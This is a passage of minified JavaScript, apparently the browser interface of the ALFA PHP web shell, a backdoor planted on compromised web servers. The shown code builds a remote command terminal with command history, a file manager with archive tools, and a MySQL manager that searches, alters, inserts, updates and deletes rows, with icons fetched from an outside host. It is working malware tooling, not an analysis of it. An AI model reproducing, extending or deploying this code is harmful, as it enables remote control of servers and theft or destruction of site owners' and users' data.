#305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var 